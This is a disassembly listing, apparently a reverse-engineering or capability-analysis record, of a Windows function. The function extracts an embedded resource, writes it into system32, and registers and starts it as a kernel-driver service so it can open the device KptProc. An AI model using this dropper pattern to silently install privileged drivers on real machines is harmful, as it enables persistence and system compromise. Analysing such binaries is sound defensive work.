Function at 0x180012800
Capabilities:
Create service
Extract resource via kernel32 functions
Start service
Write file on windows

Disassembly:
push r13
sub rsp, 0x1e0
mov rax, qword [0x1800964f0]
xor rax, rsp
mov qword [rsp + 0x1c0], rax
xor r13d, r13d
lea rcx, str..KptProc
xor r9d, r9d
mov qword [rsp + 0x30], r13
xor r8d, r8d
mov edx, 0xc0000000
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
cmp rax, 0xffffffffffffffff
jne 0x180012c12
xor eax, eax
lea rdx, [rsp + 0x90]
mov qword [rsp + 0x1f0], rbx
lea ecx, [rax + 4]
mov qword [rsp + 0x1d8], rdi
mov byte [rsp + 0x70], r13b
mov qword [rsp + 0x71], rax
mov qword [rsp + 0x79], rax
mov qword [rsp + 0x81], rax
mov dword [rsp + 0x89], eax
mov word [rsp + 0x8d], ax
mov byte [rsp + 0x8f], al
mov byte [rsp + 0x90], al
mov qword [rsp + 0x91], rax
mov qword [rsp + 0x99], rax
mov qword [rsp + 0xa1], rax
mov dword [rsp + 0xa9], eax
mov word [rsp + 0xad], ax
mov byte [rsp + 0xaf], al
call fcn.1800119d0
lea rdx, [rsp + 0x70]
lea ecx, [r13 + 4]
call fcn.180011ae0
mov rcx, qword [0x1800a2978]
lea r8, [0x180082bdc]
lea edx, [r13 + 0x7c]
mov ebx, r13d
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov rdi, rax
test rax, rax
je 0x180012c0d
mov rcx, qword [0x1800a2978]
mov qword [rsp + 0x1f8], rbp
mov rdx, rax
mov qword [rsp + 0x200], rsi
mov qword [rsp + 0x1d0], r12
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov rcx, qword [0x1800a2978]
mov rdx, rdi
mov ebp, eax
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rcx, rax
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rcx, r13
lea rdx, str.C:windows_system32_
mov r12, rax
nop word [rax + rax]
movzx eax, byte [rcx + rdx]
inc rcx
mov byte [rsp + rcx + 0xaf], al
test al, al
jne 0x180012970
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0xb0]
repne scasb al, byte [rdi]
xor ecx, ecx
lea rdx, [rsp + 0x90]
nop dword [rax]
movzx eax, byte [rdx + rcx]
inc rcx
mov byte [rdi + rcx - 2], al
test al, al
jne 0x1800129a0
lea rdx, [0x180080678]
lea rcx, [rsp + 0xb0]
call fcn.180050a28
mov rdi, rax
test rax, rax
je 0x1800129ec
mov rdx, rbp
mov r9, rax
mov r8d, 1
mov rcx, r12
call fcn.180050ccc
mov rcx, rdi
call fcn.1800511e8
mov ebx, 1
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FreeResource]
test ebx, ebx
je 0x180012c08
mov edi, r13d
mov r12d, r13d
test edi, edi
jne 0x180012b73
xor edx, edx
xor ecx, ecx
mov r8d, 0xf003f
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov rbx, rax
test rax, rax
jne 0x180012a31
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, r13d
jmp 0x180012b57
mov qword [rsp + 0x60], r13
mov qword [rsp + 0x58], r13
mov qword [rsp + 0x50], r13
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x40], r13
lea rax, [rsp + 0xb0]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], r13d
lea r8, [rsp + 0x70]
lea rdx, [rsp + 0x70]
mov r9d, 0xf01ff
mov rcx, rbx
mov dword [rsp + 0x28], 3
mov dword [rsp + 0x20], 1
call qword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov rbp, rax
test rax, rax
jne 0x180012ab2
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x3e5
je 0x180012ab2
cmp eax, 0x431
je 0x180012ab2
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov edi, r13d
jmp 0x180012b57
lea rdx, [rsp + 0x70]
mov r8d, 0x10030
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov rsi, rax
test rax, rax
jne 0x180012af0
test rbp, rbp
je 0x180012adc
mov rcx, rbp
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, r13d
jmp 0x180012b57
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_StartServiceA]
mov edi, eax
test eax, eax
jne 0x180012b3c
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x3e5
je 0x180012b39
cmp eax, 0x420
je 0x180012b32
cmp eax, 0xb7
je 0x180012b24
mov edi, r13d
jmp 0x180012b3c
cmp eax, 0xb7
mov edi, r13d
sete dil
jmp 0x180012b3c
mov edi, 1
jmp 0x180012b3c
mov edi, r13d
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rbp
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov ecx, 0xbb8
inc r12d
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp r12d, 5
jl 0x180012a03
test edi, edi
je 0x180012b85
lea rdx, [rsp + 0xb0]
lea rcx, [rsp + 0x70]
call fcn.1800118d0
mov qword [rsp + 0x30], r13
lea rcx, str..KptProc
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
cmp rax, 0xffffffffffffffff
je 0x180012c08
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
mov rbp, qword [rsp + 0x1f8]
mov rsi, qword [rsp + 0x200]
mov r12, qword [rsp + 0x1d0]
mov rbx, qword [rsp + 0x1f0]
mov rdi, qword [rsp + 0x1d8]
mov rcx, qword [rsp + 0x1c0]
xor rcx, rsp
call fcn.180050540
add rsp, 0x1e0
pop r13
ret
mov eax, r13d
jmp 0x180012bc6
mov eax, r13d
jmp 0x180012bde
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x180012bee